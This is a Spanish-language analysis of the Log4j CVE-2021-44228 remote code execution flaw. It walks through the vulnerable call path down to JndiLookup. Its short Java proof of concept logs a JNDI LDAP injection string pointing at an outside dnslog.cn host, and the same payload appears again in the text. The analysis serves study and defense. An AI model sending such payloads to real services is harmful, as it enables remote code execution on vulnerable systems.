
Análisis detallado y prueba de concepto para CVE-2021-44228 (Log4j RCE), incluyendo configuración del entorno, análisis de vulnerabilidad, mecanismo de inyección JNDI y pasos de reproducción.
Jdk7u21(cualquier versión sirve)
Versiones afectadas: Apache Log4j 2.x <= 2.14.1
Aplicaciones y componentes afectados conocidos:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
Coordenadas de log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
Al ver el payload, es natural buscar log4j lookup o log4j jndi
https://logging.apache.org/log4j/2.x/manual/lookups.html【documentación en inglés】
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html【documentación en chino】

Podemos ver el método de uso, es fácil notar que esto soporta jndi, y jndi a su vez soporta otros protocolos, realizando conversiones, es fácil pensar en ldap; vamos a depurar para ver. Como anoche estuve depurando hasta las 5:30, y tenía clases por la mañana, me fui a dormir, solo guardé capturas del proceso de análisis.

Sin más preámbulos, sigamos; como anoche depuré varias veces, aquí voy directo al punto clave.

Directo al punto clave: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

Seguimos para ver este método; en Java nativo este método formatea cadenas, no sabemos si aquí es igual.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Aquí mediante getMessage() se obtiene nuestro payload, ¿por qué?


No seguimos redundando; continuemos.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
Se puede ver que aquí se detecta si comienza con ${, si es así, se ejecuta, desencadenando el punto de vulnerabilidad.



La documentación de este método se puede ver aquí https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





Parece que con ver la documentación es suficiente, aquí se obtiene el resolvedor de variables.



Luego entra a org.apache.logging.log4j.core.lookup.Interpolator#lookup

Obtiene el prefijo correspondiente, selecciona el objeto de clase jndi correspondiente - JndiLookup


Realizando así una inyección jndi, logrando la carga remota de clases.


Revisando la documentación oficial, básicamente es mediante formato, reemplazando ${jndi:ldap://uci5xf.dnslog.cn/test} por datos reales;

Artículo de referencia: https://blog.csdn.net/lqzkcx3/article/details/82050375 log4j utiliza lookup para obtener un protocolo, obteniendo que el protocolo es jndi, data, sys, etc. Y se almacena en forma de mapa; detecta la key correspondiente, obtiene el lookup correspondiente y lo ejecuta. Formando una vulnerabilidad de inyección jndi estándar.